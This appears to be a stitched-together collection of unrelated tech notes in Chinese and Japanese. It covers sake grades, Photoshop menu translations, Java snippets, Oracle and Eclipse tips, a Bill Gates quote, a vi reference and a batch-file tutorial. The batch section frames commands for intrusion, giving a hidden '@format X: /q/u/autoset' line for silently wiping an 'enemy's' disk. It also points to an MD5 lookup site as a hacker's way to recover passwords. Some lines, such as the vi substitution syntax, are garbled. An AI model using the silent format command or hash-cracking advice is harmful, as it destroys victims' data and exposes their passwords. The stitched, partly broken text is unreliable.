使用策略模式,注意以下三个设计原则:
根据原材料和制作方法,清酒可分为普通酒和特定名称酒两种。特定名称酒又可分为吟酿酒、纯米酒、本酿造酒三种: 如果再细分,共可分为八种:特定名称 使用原料 精米含量 要件 吟酿酒 纯米大吟酿酒 米、米曲 50%以下 吟酿制作;特有的香味、色泽极为良好。 大吟酿酒 米、米曲、酿造酒精 50%以下 吟酿制作;特有的香味、色泽极为良好。 纯米吟酿酒 米、米曲 60%以下 吟酿制作;特有的香味、色泽极为良好。 吟酿酒 米、米曲、酿造酒精 60%以下 吟酿制作;特有的香味、色泽极为良好。 纯米酒 特别纯米酒 米、米曲 60%以下 香味、色泽极为良好。 纯米酒 米、米曲 70%以下 香味、色泽极为良好。 本酿造酒 特别本酿造酒 米、米曲、酿造酒精 60%以下 香味、色泽极为良好。 本酿造酒 米、米曲、酿造酒精 70%以下 香味、色泽极为良好。
下面,我向大家推荐Cygwin。首先我简单介绍一下这个软件。
浮点数值不适用于禁止出现舍入误差的金融计算中。例如,命令System.out.println(2.0-1.1)将打印出0.89999999999999,而不是人们希望的0.9。
1,$ java -verbose:gc <クラス名>
一、File-(文件)
2.Open-(打开)
3.Open As-(打开为)
4.Open Recent-(最近打开文件)
5.Close-(关闭)
6.Save-(存储)
7.Save As-(存储为)
8.Save for Web-(存储为Web所用格式)
9.Revert-(恢复)
10.Place-(置入)
11.Import-(输入)
-(1)PDF Image
-(2)Annotations-(注释)
12.Export-(输出)
13.Manage Workflow-(管理工作流程)
-(1)Check In-(登记)
-(2)Undo Check Out-(还原注销)
-(3)Upload To Server-(上载到服务器)
-(4)Add To Workflow-(添加到工作流程)
-(5)Open From Workflow-(从工作流程打开)
14.Automate-(自动)
-(1)Batch-(批处理)
-(2)Create Droplet-(创建快捷批处理)
-(3)Conditional Mode Change-(条件模式更改)
-(4)Contact Sheet-(联系表)
-(5)Fix Image-(限制图像)
-(6)Multi
-(7)Picture package-(图片包)
-(8)Web Photo Gallery
15.File Info-(文件简介)
16.Print Options-(打印选项)
17.Page Setup-(页面设置)
18.Print-(打印)
19.Jump to-(跳转到)
20.Exit-(退出)
二、Edit-(编辑)
1.Undo-(还原)
2.Step Forward-(向前)
3.Step Backward-(返回)
4.Fade-(消退)
5.Cut-(剪切)
6.Copy-(拷贝)
7.Copy Merged-(合并拷贝)
8.Paste-(粘贴)
9.Paste Into-(粘贴入)
10.Clear-(清除)
11.Fill-(填充)
12.Stroke-(描边)
13.Free Transform-(自由变形)
14.Transform-(变换)
-(1)Again-(再次)
-(2)Sacle-(缩放)
-(3)Rotate-(旋转)
-(4)Skew-(斜切)
-(5)Distort-(扭曲)
-(6)Prespective-(透视)
-(7)Rotate 180°-(旋转180度)
-(8)Rotate 90°CW-(顺时针旋转90度)
-(9)Rotate 90°CCW-(逆时针旋转90度)
-(10) Flip Hpeizontal-(水平翻转)
-(11) Flip Vertical-(垂直翻转)
15.Define Brush-(定义画笔)
16.Define Pattern-(设置图案)
17.Define Custom Shape-(定义自定形状)
18.Purge-(清除内存数据)
-(1) Undo-(还原)
-(2) Clipboard-(剪贴板)
-(3) Histories-(历史纪录)
-(4) All-(全部)
19.Color Settings-(颜色设置)
20.Preset Manager-(预置管理器)
21.Preferences-(预设)
-(1) General-(常规)
-(2) Saving Files-(存储文件)
-(3) Display & Cursors-(显示与光标)
-(4) Transparency & Gamut-(透明区域与色域)
-(5) Units & Rulers-(单位与标尺)
-(6) Guides & Grid-(参考线与网格)
-(7) Plug
-(8) Memory & Image Cache-(内存和图像高速缓存)
-(9) Adobe Online
-(10) Workflows Options-(工作流程选项)
三、Image-(图像)
1.Mode-(模式)
-(1) Bitmap-(位图)
-(2) Grayscale-(灰度)
-(3) Duotone-(双色调)
-(4) Indexed Color-(索引色)
-(5) RGB Color
-(6) CMYK Color
-(7) Lab Color
-(8) Multichannel-(多通道)
-(9) 8 Bits/Channel-(8位通道)
-(10) 16 Bits/Channel-(16位通道)
-(11) Color Table-(颜色表)
-(12)Assing Profile-(制定配置文件)
-(13)Convert to Profile-(转换为配置文件)
2.Adjust-(调整)
-(1) Levels-(色阶))
-(2) Auto Laves-(自动色阶)
-(3) Auto Contrast-(自动对比度)
-(4) Curves-(曲线))
-(5) Color Balance-(色彩平衡)
-(6) Brightness/Contrast-(亮度/对比度)
-(7) Hue/Saturation-(色相/饱和度)
-(8) Desaturate-(去色)
-(9) Replace Color-(替换颜色)
-(10) Selective Color-(可选颜色)
-(11) Channel Mixer-(通道混合器)
-(12) Gradient Map-(渐变映射)
-(13) Invert-(反相)
-(14) Equalize-(色彩均化)
-(15) Threshold-(阈值)
-(16) Posterize-(色调分离)
-(17) Variations-(变化)
3.Duplicate-(复制)
4.Apply Image-(应用图像)
5.Calculations-(计算)
6.Image Size-(图像大小)
7.Canvas Size-(画布大小)
8.Rotate Canvas-(旋转画布)
-(1) 180°-(180度)
-(2) 90°CW-(顺时针90度)
-(3) 90°CCW-(逆时针90度)
-(4) Arbitrary-(任意角度)
-(5) Flip Horizontal-(水平翻转)
-(6) Flip Vertical-(垂直翻转)
9.Crop-(裁切)
10.Trim-(修整)
11.Reverl All-(显示全部)
12.Histogram-(直方图)
13.Trap-(陷印)
14.Extract-(抽出)
15.Liquify-(液化)
四、Layer-(图层)
1.New-(新建)
-(1) Layer-(图层)
-(2) Background From Layer-(背景图层)
-(3) Layer Set-(图层组)
-(4) Layer Set From Linked-(图层组来自链接的)
-(5) Layer via Copy-(通过拷贝的图层)
-(6) Layer via Cut-(通过剪切的图层)
2.Duplicate Layer-(复制图层)
3.Delete Layer-(删除图层)
4.Layer Properties-(图层属性)
5.Layer Style-(图层样式)
-(1) Blending Options-(混合选项)
-(2) Drop Shadow-(投影)
-(3) Inner Shadow-(内阴影)
-(4) Outer Glow-(外发光)
-(5) Inner Glow-(内发光)
-(6) Bevel and Emboss-(斜面和浮雕)
-(7) Satin-(光泽)
-(8) Color Overlay-(颜色叠加)
-(9) Gradient Overlay-(渐变叠加)
-(10) Pattern Overlay-(图案叠加)
-(11) Stroke-(描边)
-(12) Copy Layer Effects-(拷贝图层样式)
-(13) Paste Layer Effects-(粘贴图层样式)
-(14) Paste Layer Effects To Linked-(将图层样式粘贴的链接的)
-(15) Clear Layer Effects-(清除图层样式)
-(16) Global Light-(全局光)
-(17) Create Layer-(创建图层)
-(18) Hide All Effects-(显示/隐藏全部效果)
-(19) Scale Effects-(缩放效果)
6.New Fill Layer-(新填充图层)
-(1) Solid Color-(纯色)
-(2) Gradient-(渐变)
-(3) Pattern-(图案)
7.New Adjustment Layer-(新调整图层)
-(1)Levels-(色阶)
-(2)Curves-(曲线)
-(3)Color Balance-(色彩平衡)
-(4)Brightness/Contrast-(亮度/对比度)
-(5)Hue/Saturation-(色相/饱和度)
-(6)Selective Color-(可选颜色)
-(7)Channel Mixer-(通道混合器)
-(8)Gradient Map-(渐变映射)
-(9)Invert-(反相)
-(10)Threshold-(阈值)
-(11)Posterize-(色调分离)
8.Change Layer Content-(更改图层内容)
9.Layer Content Options-(图层内容选项)
10.Type-(文字)
-(1) Create Work Path-(创建工作路径)
-(2) Convert to Shape-(转变为形状)
-(3) Horizontal-(水平)
-(4) Vertical-(垂直)
-(5) Anti-Alias None-(消除锯齿无)
-(6) Anti-Alias Crisp-(消除锯齿明晰)
-(7) Anti-Alias Strong-(消除锯齿强)
-(8) Anti-Alias Smooth-(消除锯齿平滑)
-(9) Covert To Paragraph Text-(转换为段落文字)
-(10) Warp Text-(文字变形)
-(11)Update All Text Layers-(更新所有文本图层)
-(12)Replace All Missing Fonts-(替换所以缺欠文字)
11.Rasterize-(栅格化)
-(1)Type-(文字)
-(2)Shape-(形状)
-(3)Fill Content-(填充内容)
-(4)Layer Clipping Path-(图层剪贴路径)
-(5)Layer-(图层)
-(6)Linked Layers-(链接图层)
-(7)All Layers-(所以图层)
12.New Layer Based Slice-(基于图层的切片)
13.Add Layer Mask-(添加图层蒙板)
-(1) Reveal All-(显示全部)
-(2) Hide All-(隐藏全部)
-(3) Reveal Selection-(显示选区)
-(4) Hide Selection-(隐藏选区)
14.Enable Layer Mask-(启用图层蒙板)
15.Add Layer Clipping Path-(添加图层剪切路径)
-(1)Reveal All-(显示全部)
-(2)Hide All-(隐藏全部)
-(3)Current Path-(当前路径)
16.Enable Layer Clipping Path-(启用图层剪切路径)
17.Group Linked-(于前一图层编组)
18.UnGroup-(取消编组)
19.Arrange-(排列)
-(1) Bring to Front-(置为顶层)
-(2) Bring Forward-(前移一层)
-(3) Send Backward-(后移一层)
-(4) Send to Back-(置为底层)
20.Arrange Linked-(对齐链接图层)
-(1) Top Edges-(顶边)
-(2) Vertical Center-(垂直居中)
-(3) Bottom Edges-(底边)
-(4) Left Edges-(左边)
-(5) Horizontal Center-(水平居中)
-(6) Right Edges-(右边)
21.Distribute Linked-(分布链接的)
-(1) Top Edges-(顶边)
-(2) Vertical Center-(垂直居中)
-(3) Bottom Edges-(底边)
-(4) Left Edges-(左边)
-(5) Horizontal Center-(水平居中)
-(6) Right Edges-(右边)
22.Lock All Linked Layers-(锁定所有链接图层)
23.Merge Linked-(合并链接图层)
24.Merge Visible-(合并可见图层)
25.Flatten Image-(合并图层)
26.Matting-(修边)
-(1) Define-(去边)
-(2) Remove Black Matte-(移去黑色杂边)
-(3) Remove White Matte-(移去白色杂边)
五、Selection-(选择)
1.All-(全部)
2.Deselect-(取消选择)
3.Reselect-(重新选择)
4.Inverse-(反选)
5.Color Range-(色彩范围)
6.Feather-(羽化)
7.Modify-(修改)
-(1) Border-(扩边)
-(2) Smooth-(平滑)
-(3) Expand-(扩展)
-(4) Contract-(收缩)
8.Grow-(扩大选区)
9.Similar-(选区相似)
10.Transform Selection-(变换选区)
11.Load Selection-(载入选区)
12.Save Selection-(存储选区)
六、Filter-(滤镜)
1.Last Filter-(上次滤镜操作)
2.Artistic-(艺术效果)
-(1) Colored Pencil-(彩色铅笔)
-(2) Cutout-(剪贴画)
-(3) Dry Brush-(干笔画)
-(4) Film Grain-(胶片颗粒)
-(5) Fresco-(壁画)
-(6) Neon Glow-(霓虹灯光)
-(7) Paint Daubs-(涂抹棒)
-(8) Palette Knife-(调色刀)
-(9) Plastic Wrap-(塑料包装)
-(10) Poster Edges-(海报边缘)
-(11) Rough Pastels-(粗糙彩笔)
-(12) Smudge Stick-(绘画涂抹)
-(13) Sponge-(海绵)
-(14) Underpainting-(底纹效果)
-(15) Watercolor-(水彩)
3.Blur-(模糊)
-(1) Blur-(模糊)
-(2) Blur More-(进一步模糊)
-(3) Gaussian Blur-(高斯模糊)
-(4) Motion Blur-(动态模糊)
-(5) Radial Blur-(径向模糊)
-(6) Smart Blur-(特殊模糊)
4.Brush Strokes-(画笔描边)
-(1) Accented Edges-(强化边缘)
-(2) Angled Stroke-(成角的线条)
-(3) Crosshatch-(阴影线)
-(4) Dark Strokes-(深色线条)
-(5) Ink Outlines-(油墨概况)
-(6) Spatter-(喷笔)
-(7) Sprayed Strokes-(喷色线条)
-(8) Sumi
5.Distort-(扭曲)
-(1) Diffuse Glow-(扩散亮光)
-(2) Displace-(置换)
-(3) Glass-(玻璃)
-(4) Ocean Ripple-(海洋波纹)
-(5) Pinch-(挤压)
-(6) Polar Coordinates-(极坐标)
-(7) Ripple-(波纹)
-(8) Shear-(切变)
-(9) Spherize-(球面化)
-(10) Twirl-(旋转扭曲)
-(11) Wave-(波浪)
-(12) Zigzag-(水波)
6.Noise-(杂色)
-(1) Add Noise-(加入杂色)
-(2) Despeckle-(去斑)
-(3) Dust & Scratches-(蒙尘与划痕)
-(4) Median-(中间值)
7.Pixelate-(像素化)
-(1) Color Halftone-(彩色半调)
-(2) Crystallize-(晶格化)
-(3) Facet-(彩块化)
-(4) Fragment-(碎片)
-(5) Mezzotint-(铜版雕刻)
-(6) Mosaic-(马赛克)
-(7) Pointillize-(点状化)
8.Render-(渲染)
-(1) 3D Transform-(3D 变换)
-(2) Clouds-(云彩)
-(3) Difference Clouds-(分层云彩)
-(4) Lens Flare-(镜头光晕)
-(5) Lighting Effects-(光照效果)
-(6) Texture Fill-(纹理填充)
9.Sharpen-(锐化)
-(1) Sharpen-(锐化)
-(2) Sharpen Edges-(锐化边缘)
-(3) Sharpen More-(进一步锐化)
-(4) Unsharp Mask
10.Sketch-(素描)
-(1) Bas Relief-(基底凸现)
-(2) Chalk & Charcoal-(粉笔和炭笔)
-(3) Charcoal
-(3) Chrome-(铬黄)
-(4) Conte Crayon-(彩色粉笔)
-(5) Graphic Pen-(绘图笔)
-(6) Halftone Pattern-(半色调图案)
-(7) Note Paper-(便条纸)
-(8) Photocopy-(副本)
-(9) Plaster-(塑料效果)
-(10) Reticulation-(网状)
-(11) Stamp-(图章)
-(12) Torn Edges-(撕边)
-(13) Water Paper-(水彩纸)
11.Stylize-(风格化)
-(1) Diffuse-(扩散)
-(2) Emboss-(浮雕)
-(3) Extrude-(突出)
-(4) Find Edges-(查找边缘)
-(5) Glowing Edges-(照亮边缘)
-(6) Solarize-(曝光过度)
-(7) Tiles-(拼贴)
-(8) Trace Contour-(等高线)
-(9) Wind-(风)
12.Texture-(-(纹理)
-(1) Craquelure-(龟裂缝)
-(2) Grain-(颗粒)
-(3) Mosained Tiles-(马赛克拼贴)
-(4) Patchwork-(拼缀图)
-(5) Stained Glass-(染色玻璃)
-(6) Texturixer-(纹理化)
13.Video-(视频)
-(1) De
-(2) NTSC Colors
14.Other-(其它)
-(1) Custom-(自定义)
-(2) High Pass-(高反差保留)
-(3) Maximum-(最大值)
-(4) Minimum-(最小值)
-(5) Offset-(位移)
15.Digimarc
-(1)Embed Watermark-(嵌入水印)
-(2)Read Watermark-(读取水印)
七、View-(视图)
1.New View-(新视图)
2.Proof Setup-(校样设置)
-(1)Custom-(自定)
-(2)Working CMYK-(处理CMYK)
-(3)Working Cyan Plate-(处理青版)
-(4)Working Magenta Plate-(处理洋红版)
-(5)Working Yellow Plate-(处理黄版)
-(6)Working Black Plate-(处理黑版)
-(7)Working CMY Plate-(处理CMY版)
-(8)Macintosh RGB
-(9)Windows RGB
-(10)Monitor RGB-(显示器RGB)
-(11)Simulate Paper White-(模拟纸白)
-(12)Simulate Ink Black-(模拟墨黑)
3.Proof Color-(校样颜色)
4.Gamut Wiring-(色域警告)
5.Zoom In-(放大)
6.Zoom Out-(缩小)
7.Fit on Screen-(满画布显示)
8.Actual Pixels-(实际象素)
9.Print Size-(打印尺寸)
10.Show Extras-(显示额外的)
11.Show-(显示)
-(1) Selection Edges-(选区边缘)
-(2) Target Path-(目标路径)
-(3) Grid-(网格)
-(4) Guides-(参考线)
-(5) Slices-(切片)
-(6) Notes-(注释)
-(7) All-(全部)
-(8) None-(无)
-(9)Show Extras Options-(显示额外选项)
12.Show Rulers-(显示标尺)
13.Snap-(对齐)
14.Snap To-(对齐到)
-(1) Guides-(参考线)
-(2) Grid-(网格)
-(3) Slices-(切片)
-(4) Document Bounds-(文档边界)
-(5) All-(全部)
-(6) None-(无)
15.Show Guides-(锁定参考线)
16.Clear Guides-(清除参考线)
17.New Guides-(新参考线)
18.Lock Slices-(锁定切片)
19.Clear Slices-(清除切片)
八、Windows-(窗口)
1.Cascade-(层叠)
2.Tile-(拼贴)
3.Arrange Icons-(排列图标)
4.Close All-(关闭全部)
5.Show/Hide Tools-(显示/隐藏工具)
6.Show/Hide Options-(显示/隐藏选项)
7.Show/Hide Navigator-(显示/隐藏导航)
8.Show/Hide Info-(显示/隐藏信息)
9.Show/Hide Color-(显示/隐藏颜色)
10.Show/Hide Swatches-(显示/隐藏色板)
11.Show/Hide Styles-(显示/隐藏样式)
12.Show/Hide History-(显示/隐藏历史记录)
13.Show/Hide Actions-(显示/隐藏动作)
14.Show/Hide Layers-(显示/隐藏图层)
15.Show/Hide Channels-(显示/隐藏通道)
16.Show/Hide Paths-(显示/隐藏路径)
17.Show/Hide Character-(显示/隐藏字符)
18.Show/Hide Paragraph-(显示/隐藏段落)
19.Show/Hide Status Bar-(显示/隐藏状态栏)
20.Reset Palette Locations-(复位调板位置)
private static final String ZERO_PADDING_PROP_FILE = "JSMI_QueryZeroPadding";
如果希望将一个数组的值拷贝到另外一个数组中去,也就是所谓的深拷贝,JAVA的实现方式可以使用System类的arraycopy方法。调用这个方法的语法格式为:
System.arraycopy(from, fromIndex, to, toIndex, count) ;
数组to必须有足够的空间来存放拷贝的元素。
数组排序:可以使用Arrays类中的sort方法:
int[] a = new int[1000] ;
...
Arrays.sort(a) ;
这个方法是用了优化的快速排序算法。
判断两个数组是否相等(两个数组的长度相同,并且下标相同的元素都对应相等,则返回true)
Arrays.equals(type[] a , type[] b) ;
另外,数组还可以使用二分搜索法查找值v。如果找到,可以返回数组下标;否则,返回一个负值r; -r~1为保持有序v应插入的位置。
java.util.Arrays
static int binarySearch(type[] a, type v) ;
还有一个方法,是将一个数组所有的元素设置为v。
static void fill (type[] a, type v) ;
首先保存两个网址:
1,这个提供常用字节串转换成MD5字
http://tool.webmasterhome.cn/md5.asp
2,这个是普通的黑客的做法,做数据库Mapping表查询MD5原始密码。
http://www.cmd5.com/Default.aspx
package javatips;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.StringTokenizer;
public class ReadCSV {
public static void main(String[] args) {
try {
File csv = new File("writers.csv"); // CSVデータファイル
BufferedReader br = new BufferedReader(new FileReader(csv));
// 最終行まで読み込む
String line = "";
while ((line = br.readLine()) != null) {
// 1行をデータの要素に分割
StringTokenizer st = new StringTokenizer(line, ",");
while (st.hasMoreTokens()) {
// 1行の各要素をタブ区切りで表示
System.out.print(st.nextToken() + "\t");
}
System.out.println();
}
br.close();
} catch (FileNotFoundException e) {
// Fileオブジェクト生成時の例外捕捉
e.printStackTrace();
} catch (IOException e) {
// BufferedReaderオブジェクトのクローズ時の例外捕捉
e.printStackTrace();
}
}
}
这个不得不说,相机的光圈应该如下面所示(也许是其中的一部分或相像):
Query the views v$database and v$thread.
V$DATABASE gives DB_NAME
V$THREAD gives ORACLE_SID
If ORACLE_SID = DB_SID and db_name = DBNAME:
To find the current value of ORACLE_SID:
SVRMGR> select instance from v$thread;
INSTANCE
----------------
DB_SID
To find the current value of DB_NAME:
SVRMGR> select name from v$database;
NAME
---------
DBNAME
D:\eclipse\eclipse.exe -nl "zh" 将eclipse显示为中文版
D:\eclipse\eclipse.exe -nl "en" 将eclipse显示为英文版
D:\eclipse\eclipse.exe -nl "ja" 将eclipse显示为日文版
-vmargs -Xmx512M 添加Eclipse的虚拟内存,将其设置为512M,默认的大概是256。这个尤其在使用类似SDE这样的比较大的Eclipse应用工具的时候用的比较多。
GATES: We went to China for a lot of reasons. Partly to relax and have fun. We found a few McDonald's there, so we didn't feel too far away from home. It was also exciting to go and see all the changes taking place, to see different parts of the country, and to meet some of the leaders.
China is a market that Microsoft had already been investing in. We've upped that a lot since then. As a percentage of our sales, though, it's tiny--well under 1%--and so even though it will double every year for the next five years, it's really only by taking a ten-year view that we can say it's worth the emphasis we're putting on it.
Although about three million computers get sold every year in China, people don't pay for the software. Someday they will, though. And as long as they're going to steal it, we want them to steal ours. They'll get sort of addicted, and then we'll somehow figure out how to collect sometime in the next decade.
中文互联网上流传的最广泛的翻译(上面最后一小段):
尽管在中国每年有大约300万台电脑被售出,中国人却不会为软件付钱,不过总有一天他们会的。既然他们想要去偷,我们想让他们偷我们的。他们会因此上瘾,这样接下来的10年我们就会找出某种办法让他们付账。
vi(Visual)是以视觉为导向的全屏幕编辑器。
共分为三种方式(mode):
command方式:
任何输入都会作为编辑命令,而不会出现在屏幕上,若输入错误则有“岬”的声音;任何输入都引起立即反映
insert方式:
任何输入的数据都置于编辑寄存器。在command方式下输入(I,a,A等),可进入insert方式, insert方式下按ESC,可跳回command方式。
escape方式:
以“:”或者“/”为前导的指令,出现在屏幕的最下一行,任何输入都被当成特别指令。
-------------------------------------------:mrgreen:
进入vi(在系统提示符下面输入以下指令):
vi 进入vi而不读入任何文件
vi filename 进入vi并读入指定名称的文件(新、旧文件均可)。
vi +n filename 进入vi并且由文件的第几行开始。
vi +filename 进入vi并且由文件的最后一行开始。
vi + /word filename 进入vi并且由文件的word这个字开始。
vi filename(s) 进入vi并且将各指定文件列入名单内,第一个文件先读入。
vedit 进入vi并且在输入方式时会在状态行显示“INSERT MODE”。
编辑数个文件(利用vi filename(s))进入vi后)
:args 显示编辑名单中的各个文件名
:n 读入编辑名单中的下一个文件
:rew 读入编辑名单中的第一个文件
:e# 读入编辑名单内的前一个文件
:e file 读入另一个文件进vi(此文件可不在编辑名单内),若原文件经修改还没有存档,则 应先以: w 存档。
:e! file 强迫读入另一个文件进入vi,原文件不作存档动作。
<<<存储及退出vi>>>
:w filename 存入指定文件,但未退出vi(若未指定文件名则为当前工作的文件名)。
:wq 或者 :x或者zz 存文件,并且退出vi.
:q 不作任何修改并退出vi。
:q! 放弃任何修改并退出vi。
:!command 暂时退出vi并执行shell指令,执行完毕后再回到vi。
:sh 暂时退出vi到系统下,结束时按Ctrl + d则回到vi。
<<<加数据指令>>>
i 在光标位置开始插入字符,结束时候按ESC键。
I 在光标所在行的最前面开始加字,结束时按ESC键。
a 在光标位置后开始加字,结束时按ESC键。
A 在光标所在行的最后面开始加字,结束时按ESC键。
o 在光标下加一空白行并开始加字,结束时按ESC键。
O 在光标上加一空白行并开始加字,结束时按ESC键。
!command 执行shell指令,并把结果加在光标所在行的下一行。
<<<删除指令>>>
nx 删除由光标位置起始的n个字符(含光标位置,按一个x表示删除光标所在的字符)
nX 删除由光标位置起始的n个字符(不含光标位置)。
ndw 删除光标位置其实的n个字符组(word)。
d0 将行的开始到光标位置的字符全部删除。
d$ 或D 将光标位置起始到行尾的字符全部删除。
ndd 将光标位置起始的n行(整行)删除(dd表示删除光标所在行)。
:start,endd 删除文件的第start到end行。
<<<关标移动>>>
0 移到一行的开始
$ 移到一行的最后
[ 移到文件开始位置
] 移到文件结束位置
nh 往左移n位
nl或者spacebar 往右移n位
nk 向上移n行
n+ 向上移n行,光标在该行的起始
ni 向下移n行
n- 向下移n行,光标在该行的起始
H 移到屏幕的左上角
M 移到屏幕的中间行开头
L 移到屏幕的最后一行
G 移到文件的最后一行
nG或者:n 移到文件的第n行
nw 右移n个字组,标点符号属于字组
nW 右移n个字组,标点符号不属于字组
nb 左移n个字组,标点符号属于字组
nB 左移n个字组,标点符号不属于字组
Ctrl + u 屏幕上卷半个菜单
Ctrl + d 屏幕下卷半个菜单
Ctrl + b 屏幕上卷一个菜单
Ctrl + F 屏幕下卷一个菜单
<<<修改指令>>>
r 修改光标文件的字符
R 从光标位置开始修改,结束时按ESC键
new 更改n组字符,结束时按ESC键
ncc 从光标所在位置开始更改n行,结束时按ESC键
<<<重排各行长度>>>
i 并按Enter将该行由光标所在处断开,并进入insert方式
J 把下一行的数据连接到本行之后
<<<寻找指令>>>
/text 从光标位置往下找字串text
?text 从光标位置往上找字串text
n 继续找下一个字串(在输入上面的寻找指令之后使用)
<<<寻找并且取代指令>>>
:getxt1/s/ /text2/options 将各行的text1替换为text2
option=g表示文件中所有的text1均被取代,若未输入任何option,则只有各行中的第一个出现的text1被取代option=go 在屏幕显示各取代的行
option=gc 在每个字串取代之前要求
<<<确认>>>
Start,endgtext1/s/ / text2/options 同上,只寻找并取代第start~end行。
或:Start,ends/text1/text2/options
<<<复制及移动文件>>>
:first,last co dest 将first 到last行的数据复制到目标行(dest)下面
:Start,end m dest 将start 到 end行的数据移动到目标行(dest)下。
:r filename 将指定文件的内容读入光标所在行下。
nY 将光标所在位置开始的n行数据暂存
p 复制暂存数据在光标的下一行
P 复制暂存数据在光标的上一行
<<<其他命令>>>
. 重复前一指令
u 取消前一指令
Ctrl + l 刷新屏幕显示
:set number 显示文件的行号,但不会存文件
:set nonumber 解除行号显示
:set ai 设置每行起始位置(以光标当前位置为起始)
:set noai 取消行起始位置设定
:f 或
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
